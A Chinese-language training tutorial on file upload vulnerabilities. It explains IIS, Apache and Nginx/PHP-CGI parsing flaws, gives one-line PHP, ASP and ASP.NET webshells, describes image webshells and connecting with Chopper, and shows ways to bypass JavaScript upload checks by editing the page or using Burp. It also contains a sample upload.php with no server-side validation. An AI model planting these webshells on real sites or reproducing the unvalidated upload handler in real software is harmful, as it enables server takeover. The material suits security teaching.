只要web应用程序允许上传文件就有可能存在文件上传漏洞。那么如何确认web应用程序是否存在上传漏洞?比如:我的网站是一个BBS论坛,由php语言编写,用户可以上传自己的头像,也就是图片文件,但文件上传时并没有对图片格式做验证,导致用户可以上传任意文件,那么这就是一个上传漏洞。
5.1解析漏洞
攻击者在利用上传漏洞是,通常会与Web容器的解析漏洞配合在一起。常见的web容器有IIS、Apache、Nginx等。
5.1.1 IIS解析漏洞(6.0以下版本)
IIS6.0在解析文件时存在以下两个解析漏洞。
①当建立.asa、.asp格式的文件夹时,其目录下的任意文件都将被IIS当做asp文件夹来解析。
例如:当建立文件夹parsing.asp,在parsing.asp文件夹内新建一个文本文档test.txt,其内容为<%=NOW()%>,然后在浏览器内访问。如图
“NOW()”是ASP提供获取当前时间的函数,TXT是文本文档格式,IIS是不会去解析此类文件的,应该会直接显示其内容,而在parsing.asp文件夹中,却被当做ASP脚本来解析。
②当文件为*.asp;1.jpg时,IIS6.0同样会以ASP脚本来执行,如:新建文本,test.asp;1.jpg,内容为<%=NOW()%>。如图
IIS6.0.png
5.1.2Apache解析漏洞
在Apache1.x和Apache2.x存在解析漏洞,与IIS解析漏洞不同。
Apache在解析文件时有一个原则:当碰到不认识的扩展名时,将会从后向前解析,直到碰到认识的扩展名为止,如果都不认识则会暴露其源代码。比如:
1.php.rar.aa.xx
Apache首先会解析xx拓展名,如果不认识解析aa,这样一直便利到认识的拓展名为止,然后再将其进行解析。在Apache安装目录下“/conf/mime.types”文件中有详细的拓展名列表。
mime.types.png
有些程序开发人员在上传文件时,判断文件名是否是PHP、ASP、ASPX、等,如果是则不允许上传,或者只允许上传某些类型的文件。这时攻击者可以利用解析漏洞绕过程序检测,获取到webshell。
5.1.3 PHP CGI解析漏洞
Nginx是一款高性能的Web服务器,通常用来作为PHP的解析容器,Nginx也曾经被爆过两个“解析漏洞”,比如
http://127.0.0.1/1.jpg/1.php.png
此时的1.php是不存在的,却可以看到1.jpg已经按照php脚本来解析了,问题就出现在这个“1.php”上(1.php并不是特定的可以随意命名)。这就意味着攻击者可以上传合法的“图片木马”,然后再URL后面加上“XXX.php”,就可以获得网站的Webshell。
这种解析漏洞其实是phpCGI的漏洞。在php的配置文件中有一个关键的选项:cgi.fi:x_pathinfo。这个选项在某些版本中是默认开启的,在开启时访问URL。比如http://****************/x.txt/x.php x.php是不存在的文件,php会向前递归解析,于是造成了解析漏洞。
5.2绕过上传漏洞
开发web应用程序,一般都会遇到文件上传,比如:上传文档并提供下载,上传图片增加用户体验,文件上传的基本流程相同,客户端使用JavaScript验证,服务器端采用随机数来重命名文件,以防止文件重复。
程序员在防止上传漏洞时可以分为以下两种。
①客户端检测:客户端使用JavaScript检测,在文件未上传时,就对文件进行验证;
②服务器端脚本一般会检测文件的MIME类型,检测文件拓展名是否合法,甚至有些程序员检测文件中是否嵌入恶意代码。
该软件提供的服务器端文件仅有一行代码。常见的代码如下:
PHP: <?php @eval($_POST['value']); ?>
ASP: <%eval request("value") %>
ASP.NET: <%@ Page Language="Jscript"%><%eval(Request.Item["value"],"unsafe");%>
image.png
正因为代码短小精悍,所以被黑客成为一句话木马(一句话后门)。
将<?php @eval($_POST['x']); ?>保存为shell.php,上传至PHP主机空间中,配置菜刀进行连接,如图:
配置菜刀连接.png
“图片一句话”则是将一句话木马插入在图片文件中,而且并不损坏图片文件,这一方法可以躲过少许的防火墙检测。一句话木马的制作
知道了上传漏洞及一句话图片木马后,下面研究攻击者如何绕过程序员的防护思维来上传一句话木马文件的。
5.2.1客户端检测
很多程序员仅仅通过使用JavaScript来拒绝非法文件上传。这样验证对一些普通用户是上传错误还是可以,对专业技术人员,是非常低级的验证。攻击者可以通过非常多的方法来突破客户端验证。下面是一个非常简单的文件上传示例,使用JavaScript验证。
Upload.html页面使用JavaScript对文件拓展名验证,如果不是白名单中的拓展名,那么Form表单将不会提交至服务器,代码如下:
Upload.html
<!DOCTYPE html>
<html>
<head>
<title>图片上传</title>
<script type="text/javascript">
function checkFile(){
var flag = false; //是否可以上传的标志位
var str = document.getElementById("file").value; //获取文件名
str = str.substring(str.lastIndexOf('.') + 1); //得到扩展名
var arr = new Array('png','bmp','gif','jpg'); //允许上传的扩展名
for (var i = 0; i < arr.length; i++) { //循环判断文件名是否合法
if (str == arr[i]) {
flag = true;
}
}
if (!flag) {
alert('文件不合法!!');
}
return flag ;
}
</script>
</head>
<body>
<form action="upload.php" method="post" onsubmit="checkFile" enctype="multipart/form-data">
<input type="file" name="file" id="file" /><br />
<input type="submit" value="提交" name="submit" />
</form>
//onsubmit,按钮点击之后,执行JavaScript。
</body>
</html>
Upload.php
<?php
if (isset($_POST['submit'])) {
$name = $_FILES['file']['name']; //接收文件名
$name = md5(date('Y-m-d h:m:s')).strrchr($name, ".");
//文件重命名操作,保留原有扩展名
$size = $_FILES['file']['size'];
$tmp = $_FILES['file']['tmp_name']; //临时路径
move_uploaded_file($tmp, $name); //移动临时文件到当前文件目录
echo "文件上传成功!path:".$name;
}
?>
1.FireBug
发文时,火狐已经没有firebug了,直接用F12就行了。
当单击“提交”按钮后,Form表单将会触发onsubmit事件,onsubmit事件将会条用checkFile函数。checkFile函数将会检测文件拓展名是否合法,并返回一个布尔值。如果checkFile函数返回TRUE,则表单提交,反之弹出对话框“文件不合法!!”,文件无法提交到服务器。知道这一点后,我们将onsubmit事件删除,就可以绕过JavaScript函数验证。
image.png
在本地构造HTML提交也可以突破JavaScript验证,。F12直接删除方便一些。
2.中间人攻击
中间人攻击这种方式与Firebug完全不同,FireBug是删除客户端的JavaScript验证,而使用Burp Suite 则是按照正常的流程通过JavaScript验证,然后在传输层中的HTTP层做手脚。
首先把木马文件扩展名改为一张正常图片的扩展名,比如JPG扩展名,在上传时使用Burp Suite 拦截上传数据,再将其中的扩展名JPG修改为php,就可以绕过客户端验证,如图:
image.png
此时上传到服务器的就是php类型的文件了。
任何客户端验证都是不安全的。客户端验证是防止用户输入错误。减少服务器开销,而服务器验证才可以真正防御攻击者。
本文大部分内容摘自web安全深度剖析,特为啄木鸟网络安全工作室新社员编写,适合小白快速学习使用。
网友评论